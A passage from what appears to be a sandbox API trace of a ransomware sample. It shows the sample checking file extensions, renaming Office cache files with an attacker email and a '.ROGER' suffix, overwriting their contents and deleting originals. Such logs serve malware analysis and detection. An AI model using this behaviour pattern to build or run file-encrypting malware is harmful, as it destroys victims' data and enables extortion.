lpString2=".msi") returned -1 [0045.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0045.583] lstrlenW (lpString=".1cd") returned 4 [0045.583] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0045.583] lstrlenW (lpString=".jpg") returned 4 [0045.583] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0045.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0045.583] lstrlenW (lpString=".doc") returned 4 [0045.583] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.583] lstrlenW (lpString=".docx") returned 5 [0045.583] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0045.583] lstrlenW (lpString=".pdf") returned 4 [0045.583] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.583] lstrlenW (lpString=".xls") returned 4 [0045.583] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.583] lstrlenW (lpString=".xlsx") returned 5 [0045.583] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0045.583] lstrlenW (lpString=".ppt") returned 4 [0045.583] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0045.583] lstrlenW (lpString=".zip") returned 4 [0045.583] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.583] lstrlenW (lpString=".rar") returned 4 [0045.583] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.583] lstrlenW (lpString=".bz2") returned 4 [0045.583] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.583] lstrlenW (lpString=".7z") returned 3 [0045.584] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.584] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0045.584] lstrlenW (lpString=".dbf") returned 4 [0045.584] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.584] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0045.584] lstrlenW (lpString=".1cd") returned 4 [0045.584] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.584] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0045.584] lstrlenW (lpString=".jpg") returned 4 [0045.584] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.584] lstrcmpiW (lpString1=".msi", lpString2=".ROGER") returned -1 [0045.584] lstrlenW (lpString="ProjectMUI.msi") returned 14 [0045.584] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0045.835] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=2511872) returned 1 [0045.835] CloseHandle (hObject=0x35c) returned 1 [0045.835] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi")) returned 0x2020 [0045.835] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0045.835] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0045.835] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0045.835] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc6c | out: lpNewFilePointer=0x0) returned 1 [0045.835] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0045.835] ReadFile (in: hFile=0x35c, lpBuffer=0x50b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x50b0058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.851] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0045.851] ReadFile (in: hFile=0x35c, lpBuffer=0x50f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x50f0058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.857] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x44bfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.858] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0045.858] ReadFile (in: hFile=0x35c, lpBuffer=0x5130058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x5130058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.099] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.100] WriteFile (in: hFile=0x35c, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x44bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0046.118] SetEndOfFile (hFile=0x35c) returned 1 [0046.118] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x5360048 [0046.121] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0046.121] WriteFile (in: hFile=0x35c, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.122] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0046.122] WriteFile (in: hFile=0x35c, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.128] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0046.128] WriteFile (in: hFile=0x35c, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.131] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5360048 | out: hHeap=0x790000) returned 1 [0046.131] CloseHandle (hObject=0x35c) returned 1 [0046.131] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0046.131] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0046.131] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0046.131] lstrlenW (lpString=".doc") returned 4 [0046.131] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0046.131] lstrlenW (lpString=".docx") returned 5 [0046.131] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0046.131] lstrlenW (lpString=".pdf") returned 4 [0046.131] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0046.131] lstrlenW (lpString=".xls") returned 4 [0046.131] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0046.131] lstrlenW (lpString=".xlsx") returned 5 [0046.131] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0046.132] lstrlenW (lpString=".ppt") returned 4 [0046.132] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0046.132] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0046.132] lstrlenW (lpString=".zip") returned 4 [0046.132] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0046.132] lstrlenW (lpString=".rar") returned 4 [0046.132] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0046.132] lstrlenW (lpString=".bz2") returned 4 [0046.132] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0046.132] lstrlenW (lpString=".7z") returned 3 [0046.132] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0046.132] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0046.132] lstrlenW (lpString=".dbf") returned 4 [0046.132] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0046.132] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0046.132] lstrlenW (lpString=".1cd") returned 4 [0046.132] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0046.132] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0046.132] lstrlenW (lpString=".jpg") returned 4 [0046.132] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0046.132] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0046.132] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0046.132] lstrlenW (lpString=".doc") returned 4 [0046.132] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0046.132] lstrlenW (lpString=".docx") returned 5 [0046.132] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0046.132] lstrlenW (lpString=".pdf") returned 4 [0046.132] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0046.132] lstrlenW (lpString=".xls") returned 4 [0046.132] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0046.133] lstrlenW (lpString=".xlsx") returned 5 [0046.133] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0046.133] lstrlenW (lpString=".ppt") returned 4 [0046.133] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0046.133] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0046.133] lstrlenW (lpString=".zip") returned 4 [0046.133] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0046.133] lstrlenW (lpString=".rar") returned 4 [0046.133] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0046.133] lstrlenW (lpString=".bz2") returned 4 [0046.133] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0046.133] lstrlenW (lpString=".7z") returned 3 [0046.133] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0046.133] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0046.133] lstrlenW (lpString=".dbf") returned 4 [0046.133] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0046.133] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0046.133] lstrlenW (lpString=".1cd") returned 4 [0046.133] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0046.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0046.238] lstrlenW (lpString=".jpg") returned 4 [0046.238] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0046.239] lstrcmpiW (lpString1=".exe", lpString2=".ROGER") returned -1 [0046.239] lstrlenW (lpString="dwtrig20.exe") returned 12 [0046.239] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0046.339] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=519584) returned 1 [0046.339] CloseHandle (hObject=0x35c) returned 1 [0046.343] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 0x2020 [0046.343] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.343] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0046.345] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.345] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.345] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0046.345] GetLastError () returned 0x0 [0046.345] ReadFile (in: hFile=0x3b8, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x7eda0, lpOverlapped=0x0) returned 1 [0046.356] WriteFile (in: hFile=0x3dc, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0x7edb0, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0x7edb0, lpOverlapped=0x0) returned 1 [0046.365] ReadFile (in: hFile=0x3b8, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x0, lpOverlapped=0x0) returned 1 [0046.365] WriteFile (in: hFile=0x3dc, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.365] SetEndOfFile (hFile=0x3dc) returned 1 [0046.365] CloseHandle (hObject=0x3dc) returned 1 [0046.365] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.365] SetEndOfFile (hFile=0x3b8) returned 1 [0046.369] CloseHandle (hObject=0x3b8) returned 1 [0046.370] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0046.370] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 1 [0046.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0046.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0046.370] lstrlenW (lpString=".doc") returned 4 [0046.370] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0046.370] lstrlenW (lpString=".docx") returned 5 [0046.370] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0046.370] lstrlenW (lpString=".pdf") returned 4 [0046.370] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0046.370] lstrlenW (lpString=".xls") returned 4 [0046.370] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0046.370] lstrlenW (lpString=".xlsx") returned 5 [0046.370] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0046.370] lstrlenW (lpString=".ppt") returned 4 [0046.370] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0046.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0046.370] lstrlenW (lpString=".zip") returned 4 [0046.370] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0046.371] lstrlenW (lpString=".rar") returned 4 [0046.371] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0046.371] lstrlenW (lpString=".bz2") returned 4 [0046.371] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0046.371] lstrlenW (lpString=".7z") returned 3 [0046.371] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0046.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0046.371] lstrlenW (lpString=".dbf") returned 4 [0046.371] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0046.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0046.371] lstrlenW (lpString=".1cd") returned 4 [0046.371] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0046.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0046.371] lstrlenW (lpString=".jpg") returned 4 [0046.371] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0046.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0046.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0046.371] lstrlenW (lpString=".doc") returned 4 [0046.371] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0046.371] lstrlenW (lpString=".docx") returned 5 [0046.371] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0046.371] lstrlenW (lpString=".pdf") returned 4 [0046.371] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0046.371] lstrlenW (lpString=".xls") returned 4 [0046.371] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0046.371] lstrlenW (lpString=".xlsx") returned 5 [0046.371] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0046.371] lstrlenW (lpString=".ppt") returned 4 [0046.371] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0046.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0046.371] lstrlenW (lpString=".zip") returned 4 [0046.371] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0046.372] lstrlenW (lpString=".rar") returned 4 [0046.372] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0046.372] lstrlenW (lpString=".bz2") returned 4 [0046.372] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0046.372] lstrlenW (lpString=".7z") returned 3 [0046.372] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0046.372] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0046.372] lstrlenW (lpString=".dbf") returned 4 [0046.372] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0046.372] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0046.372] lstrlenW (lpString=".1cd") returned 4 [0046.372] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0046.372] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0046.372] lstrlenW (lpString=".jpg") returned 4 [0046.372] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0046.372] lstrcmpiW (lpString1=".cab", lpString2=".ROGER") returned -1 [0046.372] lstrlenW (lpString="OfficeLR.cab") returned 12 [0046.372] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0046.372] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=14127746) returned 1 [0046.373] CloseHandle (hObject=0x3b8) returned 1 [0046.373] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab")) returned 0x2020 [0046.373] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.373] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0046.374] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0046.375] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc6c | out: lpNewFilePointer=0x0) returned 1 [0046.375] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0046.375] ReadFile (in: hFile=0x3b8, lpBuffer=0x50b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x50b0058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.379] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0046.379] ReadFile (in: hFile=0x3b8, lpBuffer=0x50f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x50f0058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.382] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x44bfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0046.382] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0046.382] ReadFile (in: hFile=0x3b8, lpBuffer=0x5130058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, 